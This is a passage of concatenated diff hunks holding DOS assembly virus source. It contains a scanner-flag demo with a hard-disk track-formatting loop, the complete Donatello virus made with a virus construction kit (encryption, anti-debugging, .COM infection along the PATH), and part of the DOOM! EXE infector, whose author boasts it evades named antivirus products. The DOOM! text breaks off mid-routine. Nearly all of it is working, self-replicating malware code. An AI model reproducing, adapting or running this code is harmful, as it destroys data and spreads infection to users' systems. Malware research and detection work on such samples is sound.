;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; E-Flag - Flexible Entry Point
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
call HAHA
|
||||
HAHA: pop si
|
||||
sub si,3
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; O-Flag - Code Overwrite
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
;Restore COM host
|
||||
mov di,0100h
|
||||
push di
|
||||
movsw
|
||||
movsw ;from ds:si to es:di
|
||||
;------- O flag -------
|
||||
; ret ;return to host
|
||||
;------- R flag -------(see below)
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; R-Flag - Suspicious Relocator
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
push di ;save return address
|
||||
movsw ;restore host
|
||||
movsw ;from ds:si to es:di
|
||||
ret ;return to host
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; A-Flag - Suspicious Memory Allocation
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
mov BYTE PTR ds:0000,'M'
|
||||
mov cx,23h ;23h * 16 = 560
|
||||
sub ds:0012h,cx
|
||||
sub ds:0003,cx
|
||||
mov ax,ds:0003 ;
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; F-Flag - Suspicious file access
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
;Restore date and time of file to be infected
|
||||
|
||||
mov ax,5701h
|
||||
mov dx,WORD PTR [si + F_DATE - VIRUS]
|
||||
mov cx,WORD PTR [si + F_TIME - VIRUS]
|
||||
int 21h
|
||||
|
||||
;Restore file's attributes
|
||||
|
||||
lea dx,[si + FNAME - VIRUS] ;get filename
|
||||
mov cx,[si + ATTR - VIRUS] ;get old attributes
|
||||
mov ax,4301h ;set file attributes to cx
|
||||
int 21h
|
||||
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; S-flag - Search for COM and EXE
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
db '*.COM',0
|
||||
db '*.EXE',0
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; L-flag - Trap Software's loading
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
;simulated resident int21h trap:
|
||||
|
||||
pushf ;save flags
|
||||
push cs
|
||||
pop es ;ES=CS
|
||||
cmp ah,4Bh ;load and execute program
|
||||
je KILL
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; D-flag - Disk Write Access
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
mov ch,0 ;ch=track or cylinder = cx
|
||||
KILL:
|
||||
mov ah,5 ;ah=function, al = interleave
|
||||
mov dh,0 ;dh=head
|
||||
mov dl,80h ;dl=drive 0
|
||||
int 13h ;format track
|
||||
|
||||
inc ch ;increase track
|
||||
cmp ch,20h ;track 20h?
|
||||
loopnz KILL ;no? keep on formating
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; M-flag - Memory Resident Code
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
mov ax,2521h ;DOS Services ah=function 25h
|
||||
mov dx,offset kill
|
||||
int 21h ;set intrpt vector al to ds:dx
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; U-Flag - Undocumented DOS call
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
mov dx,5945h
|
||||
mov ax,0FA01h
|
||||
int 21h
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; G-Flag - Garbage Instructions
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
add ax,34
|
||||
add bx,34
|
||||
int 65h
|
||||
add cx,35
|
||||
add dx,45
|
||||
add si,23
|
||||
add di,34
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
add ax,34
|
||||
add bx,34
|
||||
add cx,35
|
||||
add dx,45
|
||||
add si,23
|
||||
add di,34
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
nop
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; Z-Flag - EXE / COM determination
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
cmp WORD PTR [si + START_CODE - VIRUS],'ZM' ;EXE file?
|
||||
je CONT2 ;no? check com
|
||||
|
||||
cmp WORD PTR [si + START_CODE - VIRUS],'MZ' ;EXE file?
|
||||
jne CHECK_COM ;no? check com
|
||||
|
||||
CONT2:
|
||||
CHECK_COM:
|
||||
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
; B-Flag - Back to Entry Point
|
||||
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±
|
||||
|
||||
mov si,0100h
|
||||
push si
|
||||
ret
|
||||
|
||||
ENDVIRUS equ $
|
||||
|
||||
;ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ
|
||||
|
||||
START_CODE db 5 dup (?)
|
||||
HOST_STUB db 00
|
||||
ATTR dw 0
|
||||
F_DATE dw 0
|
||||
F_TIME dw 0
|
||||
FNAME db 13 dup (?)
|
||||
|
||||
ZIZE equ OFFSET ENDVIRUS - OFFSET VIRUS
|
||||
|
||||
|
||||
MAIN ENDS
|
||||
END DONUTHIN
|
|
@ -0,0 +1,417 @@
|
|||
; DONTELLO.ASM -- Donatello Virus
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Nowhere Man
|
||||
|
||||
virus_type equ 0 ; Appending Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
main proc near
|
||||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||||
start: call find_offset ; Like a PUSH IP
|
||||
find_offset: pop bp ; BP holds old IP
|
||||
sub bp,offset find_offset ; Adjust for length of host
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
lea si,[bp + buffer] ; SI points to original start
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
movsw ; Copy the first two bytes
|
||||
movsb ; Copy the third byte
|
||||
|
||||
mov di,bp ; DI points to start of virus
|
||||
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||||
int 021h
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
lea bx,[di + null_vector] ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
call get_random
|
||||
mov cx,0014h ; CX holds the divisor
|
||||
cwd ; Sign-extend AX into DX:AX
|
||||
div cx ; Divide AX by CX
|
||||
or dx,dx ; Is the remaindier zero?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: lea si,[di + data00] ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
end00: call get_random
|
||||
mov cx,0064h ; CX holds the divisor
|
||||
cwd ; Sign-extend AX into DX:AX
|
||||
div cx ; Divide AX by CX
|
||||
or dx,dx ; Is the remaindier zero?
|
||||
jne skip01 ; If not equal, skip effect
|
||||
jmp short strt01 ; Success -- skip jump
|
||||
skip01: jmp end01 ; Skip the routine
|
||||
strt01: xor ah,ah ; BIOS get time function
|
||||
int 1Ah
|
||||
xchg dx,ax ; AX holds low word of timer
|
||||
mov dx,0FFh ; Start with port 255
|
||||
out_loop: out dx,al ; OUT a value to the port
|
||||
dec dx ; Do the next port
|
||||
jne out_loop ; Repeat until DX = 0
|
||||
|
||||
end01: mov cx,0003h ; Do 3 infections
|
||||
search_loop: push cx ; Save CX
|
||||
call search_files ; Find and infect a file
|
||||
pop cx ; Restore CX
|
||||
loop search_loop ; Repeat until CX is 0
|
||||
|
||||
jmp short strt02 ; Success -- skip jump
|
||||
skip02: jmp end02 ; Skip the routine
|
||||
strt02: push es ; Save ES
|
||||
mov ax,050h ; Set the extra segement to
|
||||
mov es,ax ; the BIOS area
|
||||
mov byte ptr es:[0000h],1 ; Set print screen flag to
|
||||
pop es ; "printing," restore ES
|
||||
|
||||
end02:
|
||||
com_end: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
|
||||
|
||||
db 0E2h,065h,076h,0A4h,0A6h
|
||||
|
||||
search_files proc near
|
||||
mov bx,di ; BX points to the virus
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,135 ; Allocate 135 bytes on stack
|
||||
|
||||
mov byte ptr [bp - 135],'\' ; Start with a backslash
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 134] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
call traverse_path ; Start the traversal
|
||||
|
||||
traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful?
|
||||
je done_searching ; If so then we're done
|
||||
call found_subdir ; Otherwise copy the subdirectory
|
||||
|
||||
mov ax,cs ; AX holds the code segment
|
||||
mov ds,ax ; Set the data and extra
|
||||
mov es,ax ; segments to the code segment
|
||||
|
||||
xor al,al ; Zero AL
|
||||
stosb ; NULL-terminate the directory
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 70] ; DX points to the directory
|
||||
int 021h
|
||||
|
||||
lea dx,[bx + com_mask] ; DX points to "*.COM"
|
||||
push di
|
||||
mov di,bx
|
||||
call find_files ; Try to infect a .COM file
|
||||
mov bx,di
|
||||
pop di
|
||||
jnc done_searching ; If successful the exit
|
||||
jmp short traversal_loop ; Keep checking the PATH
|
||||
|
||||
done_searching: mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 135] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
cmp word ptr [bx + path_ad],0 ; Did we run out of directories?
|
||||
jne at_least_tried ; If not then exit
|
||||
stc ; Set the carry flag for failure
|
||||
at_least_tried: mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
search_files endp
|
||||
|
||||
traverse_path proc near
|
||||
mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment
|
||||
xor di,di ; DI holds the starting offset
|
||||
|
||||
find_path: lea si,[bx + path_string] ; SI points to "PATH="
|
||||
lodsb ; Load the "P" into AL
|
||||
mov cx,08000h ; Check the first 32767 bytes
|
||||
repne scasb ; Search until the byte is found
|
||||
mov cx,4 ; Check the next four bytes
|
||||
check_next_4: lodsb ; Load the next letter of "PATH="
|
||||
scasb ; Compare it to the environment
|
||||
jne find_path ; If there not equal try again
|
||||
loop check_next_4 ; Otherwise keep checking
|
||||
|
||||
mov word ptr [bx + path_ad],di ; Save the PATH address
|
||||
mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment
|
||||
ret ; Return to caller
|
||||
|
||||
path_string db "PATH=" ; The PATH string to search for
|
||||
path_ad dd ? ; Holds the PATH's address
|
||||
traverse_path endp
|
||||
|
||||
found_subdir proc near
|
||||
lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH
|
||||
lea di,[bp - 70] ; DI points to the work buffer
|
||||
push cs ; Transfer CS into ES for
|
||||
pop es ; byte transfer
|
||||
move_subdir: lodsb ; Load the next byte into AL
|
||||
cmp al,';' ; Have we reached a separator?
|
||||
je moved_one ; If so we're done copying
|
||||
or al,al ; Are we finished with the PATH?
|
||||
je moved_last_one ; If so get out of here
|
||||
stosb ; Store the byte at ES:DI
|
||||
jmp short move_subdir ; Keep transfering characters
|
||||
|
||||
moved_last_one: xor si,si ; Zero SI to signal completion
|
||||
moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address
|
||||
ret ; Return to caller
|
||||
found_subdir endp
|
||||
|
||||
db 095h,001h,027h,07Eh,08Fh
|
||||
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
db 02Ch,015h,0BFh,02Dh,0F2h
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||||
jbe size_ok ; If it's small enough continue
|
||||
jmp infection_done ; Otherwise exit
|
||||
|
||||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,3 ; CX holds bytes to read (3)
|
||||
lea dx,[di + buffer] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
xchg dx,ax ; Faster than a PUSH AX
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a POP AX
|
||||
|
||||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||||
add ax,finish - start ; Re-adjust to make the jump
|
||||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,3 ; CX holds bytes to write (3)
|
||||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||||
new_jump db 0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
|
||||
|
||||
db 0C4h,003h,038h,043h,07Fh
|
||||
|
||||
get_random proc near
|
||||
xor ah,ah ; BIOS get clock count function
|
||||
int 01Ah
|
||||
xchg dx,ax ; Transfer the count into AX
|
||||
ret ; Return to caller
|
||||
get_random endp
|
||||
|
||||
data00 db "Cowabunga, dudes! It's Donatello!",13,10
|
||||
db "(Hey, John, can I be on Nightline too?)",13,10,0
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
|
||||
note db "[Donatello]",0
|
||||
db "Nowhere Man, [NuKE] '92",0
|
||||
db "Hey, Donatello, be like Mike!",0
|
||||
|
||||
encrypt_code proc near
|
||||
push bp ; Save BP
|
||||
mov bp,di ; Use BP as pointer to code
|
||||
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 9],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si + 1],8 ;
|
||||
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 11],0101h; (and vice-versa)
|
||||
|
||||
lea di,[bp + finish] ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
lea si,[bp + write_stuff] ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
lea dx,[bp + start] ; DX points to virus
|
||||
|
||||
lea si,[bp + finish] ; SI points to routine
|
||||
call si ; Encrypt/write/decrypt
|
||||
|
||||
mov di,bp ; DI points to virus again
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
|
@ -0,0 +1,272 @@
|
|||
; VirusName : DOOM!
|
||||
; Origin : Sweden
|
||||
; Author : Raver
|
||||
; Date : 23/12/93
|
||||
|
||||
; My second scratch contribution to this issue. It's a simple non-over-
|
||||
; writing, non-destructive exe-infector that "eats up" a bit memory on
|
||||
; every run. It restore date/time stamps and uses an encryption routine
|
||||
; to avoid discovery from virus scanners. Of'cos no virus scanners are
|
||||
; able to detect it. This includes Scan/FindViru/MSAV/CPAV/F-Prot and
|
||||
; TBAV's most heuristic scanner. Well, 9 out of 10 viruses, that's nothing
|
||||
; but pure bullshit!, ha!, this "wanna-be" can't find a single flag in
|
||||
; this code!
|
||||
|
||||
; After these two moderate, educational viruses I'm planning to do some
|
||||
; "fancier" memory resident viruses to the next issue. If I've got some
|
||||
; time, that is. Fucking military service :)
|
||||
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
; DOOM!
|
||||
; ÄÄ-ÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄÄÄÄÄÄ--ÄÄÄÄÄÄÄ--Ä-ÄÄÄÄÄÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä
|
||||
|
||||
cseg segment byte public 'code'
|
||||
assume cs:cseg, ds:cseg
|
||||
|
||||
org 100h
|
||||
|
||||
start_of_virus:
|
||||
|
||||
call get_offset
|
||||
get_offset: ;alternative way to get the delta
|
||||
mov di,sp ;offset without activating any flags in
|
||||
mov bp,word ptr ss:[di] ;TB-scan
|
||||
sub bp,offset get_offset
|
||||
inc sp
|
||||
inc sp
|
||||
|
||||
push ds ;save es & ds
|
||||
push es
|
||||
push cs ;and point ds to code segment
|
||||
pop ds
|
||||
|
||||
call encrypt_decrypt ;decrypt contents of file
|
||||
|
||||
start_of_encryption:
|
||||
cld ;clear direction flag
|
||||
|
||||
mov ah,1ah ;set new dta area
|
||||
lea dx,[bp+dta_area]
|
||||
int 21h
|
||||
|
||||
mov bx,es
|
||||
push cs ;es points to code segment
|
||||
pop es
|
||||
|
||||
lea si,[bp+return2_buffer] ;this code prepares the return code
|
||||
lea di,[bp+return_buffer]
|
||||
movsw ;transfer buffer contents
|
||||
lodsw
|
||||
add ax,bx ;bx holds start es = psp
|
||||
add ax,10h
|
||||
stosw
|
||||
|
||||
; lea di,[bp+stack_return]
|
||||
; lea si,[bp+stack_save] ;si already points to stack_save
|
||||
add di,8 ;saving a byte with this code
|
||||
lodsw ;prepares the restore of ss/sp
|
||||
add ax,bx
|
||||
add ax,10h
|
||||
stosw
|
||||
movsw
|
||||
|
||||
|
||||
mov ah,47h ;save starting directory
|
||||
xor dl,dl
|
||||
lea si,[bp+save_dir]
|
||||
int 21h
|
||||
|
||||
find_new_files: ;start finding files
|
||||
mov ah,4eh
|
||||
mov cx,7
|
||||
lea dx,[bp+search_pattern]
|
||||
find_files:
|
||||
int 21h
|
||||
|
||||
jnc open_file ;if found a file
|
||||
lea dx,[bp+dir_mask] ;else change directory
|
||||
mov ah,3bh
|
||||
int 21h
|
||||
jnc find_new_files
|
||||
jmp no_more_files ;end of all files
|
||||
|
||||
open_file: ;open the found file
|
||||
mov ax,3d02h
|
||||
lea dx,[bp+dta_area+1eh]
|
||||
int 21h
|
||||
|
||||
xchg ax,bx ;file handle in bx
|
||||
|
||||
mov ah,3fh ;read the exe header to exe_header
|
||||
mov cx,18h
|
||||
lea dx,[bp+exe_header]
|
||||
int 21h
|
||||
|
||||
lea si,[bp+exe_header] ;check if it's really a executable
|
||||
lodsw
|
||||
cmp ax,'ZM'
|
||||
je check_infected
|
||||
cmp ax,'MZ'
|
||||
je check_infected
|
||||
jmp no_exe ;else jump
|
||||
|
||||
check_infected:
|
||||
|
||||
add si,10h ;saving another byte
|
||||
; lea si,[bp+exe_header+12h]
|
||||
lodsw
|
||||
cmp ax,'Ri' ;is it already infected?
|
||||
jne start_infect
|
||||
jmp already_infected
|
||||
|
||||
|
||||
start_infect:
|
||||
lea di,[bp+return2_buffer] ;put the files ip/cs in return2_buffer
|
||||
movsw
|
||||
movsw
|
||||
|
||||
lea si,[bp+exe_header+0eh] ;save the files ss/sp in stack_save
|
||||
movsw
|
||||
movsw
|
||||
|
||||
lea di,[bp+exe_header+12h] ;mark the file infected
|
||||
mov ax,'Ri'
|
||||
stosw
|
||||
|
||||
mov al,2 ;go to end_of_file
|
||||
call go_eof ;dx/ax is file length at return
|
||||
|
||||
mov cx,10h ;use div to save bytes instead of speed
|
||||
div cx
|
||||
sub ax,word ptr ds:[bp+exe_header+8]
|
||||
xchg dx,ax
|
||||
stosw ;put new ip/cs in exe_header
|
||||
xchg dx,ax
|
||||
stosw
|
||||
|
||||
inc ax ;put new suitable ss/sp in exe_header
|
||||
inc ax
|
||||
mov word ptr [bp+exe_header+0eh],ax
|
||||
mov word ptr [bp+exe_header+10h],4b0h
|
||||
|
||||
|
||||
mov ah,2ch ;get system time for random number
|
||||
int 21h
|
||||
xor dh,dh ;just alter the code a little bit
|
||||
or dl,00001010b ;with encryption so TB-scan wont't
|
||||
mov word ptr [bp+encryption_value],dx ;find garbage instruction
|
||||
|
||||
mov ah,40h ;prepare to append virus to file
|
||||
lea dx,[bp+start_of_virus]
|
||||
call append_virus ;call it
|
||||
|
||||
mov al,2 ;go to end of file
|
||||
call go_eof
|
||||
|
||||
mov cx,512 ;get filesize in 512 modules
|
||||
div cx
|
||||
inc ax
|
||||
mov word ptr [bp+exe_header+2],dx ;put modulo/filesize in
|
||||
mov word ptr [bp+exe_header+4],ax ;exe header
|
||||
|
||||
|
||||
xor al,al ;go to beginning of file
|
||||
call go_eof
|
||||
|
||||
mov ah,40h ;write new exe header
|
||||
mov cx,18h
|
||||
lea dx,[bp+exe_header]
|
||||
int 21h
|
||||
|
||||
